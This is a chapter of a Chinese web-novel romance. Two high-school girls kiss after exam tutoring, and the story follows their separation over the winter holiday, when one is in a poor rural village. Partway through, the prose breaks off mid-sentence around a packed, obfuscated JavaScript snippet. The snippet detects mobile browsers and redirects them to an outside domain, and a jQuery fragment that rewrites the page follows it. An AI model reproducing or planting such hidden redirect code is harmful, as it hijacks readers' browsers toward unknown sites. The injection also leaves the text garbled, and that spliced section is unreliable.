期末考试的倒计时像悬在头顶上的一把剑。
教室里的空调嗡嗡作响，把我心底的那股烦躁越浇越旺。我盯着数学模拟卷上复杂的计算题，铅笔在草稿纸上划出一道道凌乱的弧线。
“最后两道大题完全没有思路。”我咬着笔帽，胃部搅成一团。
前排传来椅子挪动的声音，魏云弥不知何时已经站在我桌前，指尖轻点我草稿上算错的步骤。
“这里，应该用倍角公式。”她弯腰时发梢扫过我的试卷，带着淡淡的白茶香，“要不要去图书馆？我帮你梳理知识点。”
我下意识缩了缩脖子。自从元旦那晚，我们之间那种微妙的氛围愈发明显——她会在没人的角落偷捏我的指尖，会在早读时回头冲我眨眼。
“不用了。”我避开她的视线，“我自己再试试。”
魏云弥的睫毛颤了颤。她突然抽走我的笔，在草稿纸上快速写下几行公式。
“放学后美术教室见。”
放学铃响起，走廊上传来此起彼伏的“明天见”。
魏云弥早早离开教室，我慢腾腾地收拾书包，待人走得都差不多了才走向美术教室，这已经我和魏云弥之间心照不宣的默契。
美术教室的门虚掩着。推门进去，没有温度的夕阳正透过百叶窗在地板上投下斑驳的光影。魏云弥背对着门站在画架前，听到声响也没回头。
“把门锁上。”她说。
锁舌“咔嗒”的声响在安静的空间格外清晰，像是关闭了某个隐秘的结界。
魏云弥转过身，手里拿着一个保温杯。她今天没穿校服，杏色的毛衣衬得她肤白如雪。
“薄荷茶，提神的。”她拧开瓶盖，热气裹挟着清凉的香气扑面，“我放了蜂蜜，不会太苦。”
我小啜一口，甜味恰到好处地中和了薄荷的凛冽。余光瞥见画架上夹着的不是素描纸，而是一张写得密密麻麻的数学重点归纳。
“这是……”
“猜到你不会主动找我补习。”她拿起那张纸轻轻拍在我的额头上，“繁郁同学，临时抱佛脚也要找对方向。”
我捏着纸张，突然发现右下角画着一颗小小的爱心。这个发现让我的耳根瞬间烧了起来连忙假装研究公式来掩饰慌乱。
魏云弥拉过椅子坐到我身边。她讲题时习惯用铅笔端轻点纸面，讲到关键点会不自觉地咬住下唇。当她的膝盖第三次蹭到我的时，我终于忍不住往旁边挪了挪。
“躲什么？”她突然拽住我的手腕，“这里，听懂了吗？”
她的拇指正按在我凸出的腕骨上，这个亲密的肢体接触让我喉咙发紧，那些排列整齐的公式突然变成了游弋的蝌蚪。
“我……”
“看来需要换个教学方式。”她轻笑一声，突然凑到我的耳边，“如果这道题做对，有奖励。”
温热的呼吸拂过耳廓，我僵在原地，连笔都握不住了。
魏云弥得逞地看着我通红的耳尖，她今天涂了蜜桃色的润唇膏，柔软的唇瓣看起来像一颗潋滟待人采撷的水果糖。
我的视线不受控制地落在上面，喉结不自觉地滚动了一圈。
“……什么奖励？”
她猝不及防地贴近，双手捧起我的脸，眼神骤然变得幽深。
“这里……”魏云弥的指腹摩挲着我皲裂的下唇，“需要抹点润唇膏。”
我的心跳剧烈得几乎要撞碎肋骨，她的指尖故意挑逗似地一下下描摹我的唇形。窗外的脚步和喧嚣突然变得遥远，整个世界凝滞般只剩下近在咫尺的呼吸声。
“闭眼。”
我鬼使神差地顺从。下一秒，湿润柔软的触感印上唇瓣，薄荷的余韵混着和蜜桃的甜，在交错紊乱的呼吸酿成醉人的酒意。
她的吻很轻，像羽毛掠过湖水，却让我浑身的血液都开始沸腾。
我的指尖情不自禁陷入她如云的鬓发，她却忽然加深这个吻，舌尖撬开我微张的唇。
“奖励……还算满意？”魏云弥终于松开我时，眼尾泛着潋滟的水光。
我盯着她红肿的唇，喉咙干涩得发痒，连呼吸都凌乱不堪。
夕阳不知何时已经没入地平线，窗外的天色渐趋阴沉。
“繁郁，”魏云弥突然笑出声，温热的身体紧紧贴着我的，“其实比起教你数学，我更想教你……”
她的指尖划过我发烫的脸颊，在我唇上轻点。
“怎么接吻。”
我猛地扣住她的腰，将她压在画架上。画纸散落一地，但我们都无暇顾及。
魏云弥身上的白茶香混合蜜桃唇膏的香甜，在黑暗中发酵成致命的毒药，让我只想沉溺在这温柔又炽热的漩涡。
离开美术教室的记忆，早已被混沌发烫的思绪搅得粉碎。当晚于台灯下伏案复习时，我反复摩挲魏云弥整理的数学笔记，满脑子都是美术教室旖旎的画面。
蜜桃味……白茶香……又香又软的唇……
那些零星的记忆碎片和触感仿佛还烙在唇瓣上，蒸腾成挥之不去的漩涡。
我捂着烫得能煎蛋的脸颊，无助地想:
完蛋了，明天的数学考试恐怕是要凶多吉少了。
期末考试连轴转了三天，每天清晨探向课桌板，我都会撞见带着温度的惊喜——不同内容的鼓励便利贴旁，总躺着小零食。
有时是“选择题不会就选C”的狡黠调侃，有时是“别忘记吃早餐”的细致叮咛，而最后一门考试前，便利贴上赫然印着鲜艳的唇印。
指尖触到那张带着唇膏纹路的纸片时，我的心脏几乎要撞破胸腔，滚烫的热意顺着脖颈漫上耳尖。
这几天来让我既心慌意乱又满怀期待的幕后推手，到底是在传递什么信号？
我慌乱地将唇印便利贴攥进掌心，像藏住一个不可言说的秘密。
偏偏罪魁祸首似有所觉，转身与后桌交谈时，故意将目光扫向我。在捕捉到我耳尖发红的瞬间，那人勾起一抹得逞的笑。
不知哪来的勇气，我突然举起便利贴，将唇印精准覆在自己唇上，隔着三排课桌与那双含笑的眼睛对视。
期末考试最后一科结束铃响起时，我盯着答题卡上密密麻麻的选项，突然意识到高一上学期就这么猝不及防地结束了。
教室里爆发出欢呼，同学们像雀跃的小鸟叽叽喳喳地讨论着寒假计划。
我慢吞吞地收拾文具，余光瞥见魏云弥被一群女生围在中间，她正兴高采烈地说这些什么滑雪度假村的行程，孟逸月则一脸兴奋地问她要不要一起出国旅游。
我把那张唇印便利贴放进贴身的口袋，沉默地背着书包朝美术教室走去。
寒风刮在脸上像刀子一样疼，我半倚在美术教室的窗边盯着寥落萧索泛黄的梧桐，只觉得胸口发闷。
吐息凝结成一团虚空的白雾，楞楞发呆的我还没反应过来门口处的窸窣声，就被一双有力的臂弯牢牢箍住腰身。
魏云弥带着寒气的鼻尖蹭过我的后颈，呼出的热气引起一阵细微的战栗。
“怎么不等我？”她的声音带着笑意。
“不是要去滑雪度假村？”我别开脸。
她转过我的身体，指尖卷着我耳后的碎发轻轻拉扯。
“某人揣着我的唇印跑了，我哪还有心思滑雪？”
那双炽热得发亮的眼睛仿佛能灼烧灵魂，我咬着唇避开她的目光，脸颊却不争气地发烫。
考试时被那个唇印搅得心神不宁的窘迫感又涌了上来。
那个唇印害得我在考场上心乱如麻，她竟然还提？
“都怪你……要是这次考砸了，你要负责。”
“好啊，我负责。”
她将我搂得更紧，掌心的温度顺着相贴的肌肤蔓延，烫得心都要化了。
回家的路上，我们放弃了往日搭乘的公交。昏暗的街灯在路面投下斑驳光影，车流如流星般疾驰而过，卷起阵阵寒意。
我和魏云弥十指交握，分食着同一串糖葫芦。酸甜的山楂在齿间化开，望着路灯下交叠缠绕的影子，我的心底泛起触动的涟漪。
真好啊，还好我们两个都是女孩。
不必担心他人误解的目光，无需在意异样的指指点点。这样光明正大地牵手、分享甜蜜，本就是女孩之间再寻常不过的亲昵。
没人会把这种亲昵冠冕堂皇的当成爱情。
“繁郁。”魏云弥突然叫我的名字。
“嗯？”我含着山楂含糊回应。
“寒假有什么安排？”
我攥紧了书包带，嘴里的山楂突然变得酸涩难咽。
“回外婆家。”
她的手骤然收紧，停下脚步注视我。
“哪个县？”
“林县。”我低头盯着自己开胶的帆布鞋，“就……很普通的农村。”
魏云弥盯着我被磨得起毛边的卫衣袖口，如蝶翼蹁跹的眼睫在路灯下闪了闪，像是落了片碎雪。
“我跟你一起去。”她突然开口，语气不容置疑。
我猛地抬头，撞进她眼底翻涌的暗潮。
“别开玩笑了……那个地方连热水都要用锅烧，冬天冷得像冰窖。”犹豫再三，我还是红着脸憋出实话，“我甚至还要跟妈妈挤在一张床上……”
她张了张嘴，最终把话咽了回去。
走过城中村的巷口时，她突然叼着最后一颗糖葫芦凑过来，冰凉的牙齿擦过我的下唇，糖衣碎裂的脆响混着温热的气息扑进嘴里。
“繁郁，我会想你的……”
我被她抵在斑驳的砖墙上，路灯昏黄的光晕里浮动着细密的沉粒。温热的气息裹着山楂的酸甜涌进喉管时，我感受到了一滴灼人的液体。
腊月廿三，我在书包的夹层里摸到了个硬壳盒子，淡粉色的丝绒里躺着一支蜜桃色润唇膏，卡片上是魏云弥张扬的笔迹:
“保持唇部柔软，等我亲。”
窗外的北风卷着枯叶撞在玻璃上，我的眼眶突然发热。
大巴车碾过泥泞，在蜿蜒的山路上拖出长长的车辙。晨光刺破云层，照在远处黛青色山峦上。
我攥着魏云弥塞给我的润唇膏，恍然间觉得，这个寒冷的冬天，都被某个人的温暖填满了。
林县的冬天比城里还冷，外婆家的老房子没有暖气，我只能裹着妈妈的旧棉袄，在碳火旁写作业。
手机信号时断时续，魏云弥的消息总是延迟很久才能收到。
她有时会发来一个堆得歪扭的雪人，问“像不像你”；分享民宿老板熬的姜茶，抱怨“没有你泡的好喝”。
我点开她的朋友圈，最新的动态是九宫格照片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891925|176505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
——她穿着白色羽绒服站在滑雪场，背景是皑皑雪山，笑容比阳光还耀眼。
我默默给她点了个赞，把冻僵的脸埋进裹挟着旧沉的羽绒里。
除夕夜，外婆家的老房子冷得像冰窖。
我蹲在外院拔鸭毛，冻红的手指浸在血水里，腥气黏在皮肤上挥之不去。手机屏幕亮了一下——是魏云弥的朋友圈更新。
她穿着某奢侈品的新年限定，站在市中心广场的霓虹灯下，身边围着一群光鲜亮丽的朋友。她手里举着星巴克，背景里巨大的LED屏正在倒计时。
23:17。
距离新年还有43分钟。
我盯着那些精心编排的照片，直至屏幕变暗才悠悠收回视线。
外婆在厨房里烧准备烫鸭子的开水，表哥在院子里盛炭火烤烧烤，大黄追着被钨丝灯泡吸引的飞蛾满院子跑。
这才是我的世界。
我和魏云弥之间，隔着何止是城乡的距离。
鸡圈里传来此起彼伏的鸣叫，我听见自己胸腔里漏出一声苦笑。
县城自建房斑驳的墙皮簌簌掉落，和照片里魏云弥身后流光溢彩的玻璃幕墙，大概永远不会有重叠的那天。
我关掉屏幕，继续机械性地拔鸭毛，仿佛这样就能把心里的那点酸涩也一并拔除。
秸秆被塞进碳火，细碎的火星迸发出最灼人的烫意时，手机突然震动起来，屏幕上跳出那个让我心跳几乎停滞的名字。
魏云弥。
我手忙脚乱地擦去手上的碳灰，躲进柴房才敢接听。
“喂？”
电话那头传来市中心嘈杂的音乐声和嬉笑打闹的动静。她似乎站在人群中央，背景音里隐约能听到商场广播预告倒计时的活动。
“繁郁，你那边好吵。”她的声音带着笑意，“在干嘛？”
“烧水……”
表哥恰好在外院喊我:“繁郁！鸡翅要不要放辣椒粉？”
电话那头突然沉默。
“男、的？”魏云弥的声线陡然降温。
“我表哥……”
我下意识解释，又觉得有些可笑——我们又不是情侣，何必心虚？
她似乎走远，背景音弱了下去。
“哦，亲戚啊。”
炭火劈啪作响，电话那头传来她朋友们在远处的起哄:“云弥跟谁打电话呢？女朋友？”
“朋友。”她答得很快，却又补充一句，“特别好的朋友。”
我的心跳漏了一拍。
大黄突然冲着鞭炮声狂吠，我慌忙地捂住了听筒。
“什么声音？”
“……乡下放鞭炮。”我窘迫地盯着自己沾满碳灰的鞋尖。
“还有小狗？真可爱。”
“狗还是我？”
话一出口我就后悔了，恨不得咬断自己的舌头。
电话那头传来她朋友暧昧的嘘声，魏云弥低低的轻笑透过听筒震麻我的耳膜，柔声说:
“都可爱。”
柴房里的灯泡年久失修，忽明忽暗照着我发烫的脸。
“你生日几号？”她突然问。
“八月十七。”
“我比你大三个月。”她的语气雀跃起来，“你该给我拜年。”
“什么？”
“说‘恭喜发财’，快。”
我咬着唇不肯开口，直到她威胁要连夜打车来村里，才小声嘟囔一句:
“魏云弥，新年快乐。”
手机震动一下，屏幕上跳出微信通知——魏云弥转账5200元，备注是“给小蕨的压岁钱”。
这个数字暧昧得明目张胆，比我收到的所有红包加起来还要多。
“太多了！”我手忙脚乱地想点退款，“我不能——”
“收下。”她打断我，声音带着罕见的强势，“不然我现在就打车去林县找你。”
远处烟花突然炸响，电话里外同时绽放的光亮中我鬼使神差地妥协了。
春晚主持人开始倒数，她那边爆发出一阵欢呼。
“十、九、八……”
广场上万人齐喊的声浪透过话筒震得我的耳膜发麻，而我的世界里却只能听到与她同频的呼吸声。
“三、二、一——”
最后一秒，她突然提高了音量，声音压过了所有震耳欲聋的喧嚣:
“繁郁！下一个春节——”
烟花在夜空绽开，她的话语连同滚滚火光硝烟一齐烙进我心底:
“我要你在我身边跨年！”
大黄被鞭炮和烟花吓得钻到我脚边，我蹲下来抱住它，额头抵着它脏兮兮的毛发泪流满面。
通话结束后的很长一段时间，我站在院子里一动不动。
手机屏幕暗了下去，映出我红肿的眼。表哥端着烤好的韭菜，走过来拍拍我的肩。“怎么了？眼睛这么红。”
“没事。”我把手机紧紧攥在掌心，“就是……有点想家了。”
烧烤架的炭火噼啪作响，火星飞溅到夜空中，和遥远的城市烟花一样转瞬即逝。
我望着漆黑一片的农村夜空，突然无比想念美术教室里那盏温暖的灯，和灯光下魏云弥专注的侧脸。
云泥之别，也可以被思念填满。
这个寒假突然变得漫长起来。